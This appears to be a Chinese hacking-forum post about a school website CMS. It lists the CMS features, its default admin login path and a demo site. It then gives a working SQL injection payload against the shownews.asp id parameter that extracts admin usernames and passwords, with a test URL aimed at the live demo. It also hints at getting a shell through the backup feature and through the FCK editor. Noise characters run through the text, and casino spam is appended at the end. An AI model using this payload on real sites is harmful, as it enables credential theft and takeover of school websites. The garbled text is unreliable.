, G# n" ^4 V5 V1.管理员资料:网站的基本信息设置（校长邮箱等）,数据库备份,用户管理、部门及权限管理等
. z6 @2 l" x# i0 C% a, I4 j2.学校简介:一级分类，可以添加校园简介,领导致辞、校园风光、联系我们。。。等信息
3.文章管理:二级分类,动态添加各相关频道（图片视频频道、学校概况频道除外）文章等信息
4.视频图片管理:一级分类,动态添加视频或者图片等信息
+ r0 H9 _; c1 n2 f  i* c  G" @: o5.留言管理:对留言,修改,删除、回复等管理
6.校友频道:包括校友资料excel导出、管理等功能
7.友情链接管理:二级分类，能建立不同种类的友情链接显示在首页
% q2 d3 s# \" \2 u3 O默认后台:admin/login.asp
2 H& B. w: X2 a4 B& n& i/ y官方演示:http://demo.001cms.net
源码下载地址:http://down.chinaz.com/soft/30187.htm
EXP:
: Y& v. F. {- y. X# f- Bunion select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
测试:http://demo.001cms.net/shownews.asp?type=新闻动态&stype=校务公开&id=484 union select 1,2,3,a_name,5,6,a_pass,8,9,10,11 from admin
2 T+ C. Y3 ^, t) r1 B. H. pgetshell:后台有备份，你懂的
% w3 @- k9 `7 G& B# ^- r, ]另:FCK编辑器有几处可利用.大家自己行挖掘,由于相关内容较多，我在这里就不说了。
. G4 \: S- N$ d. b5 p; [2 \-------------------------------------------------------------------------------------------------------------------------------------------------------------------------

casino slots
online casino canada
new online casino
slot machines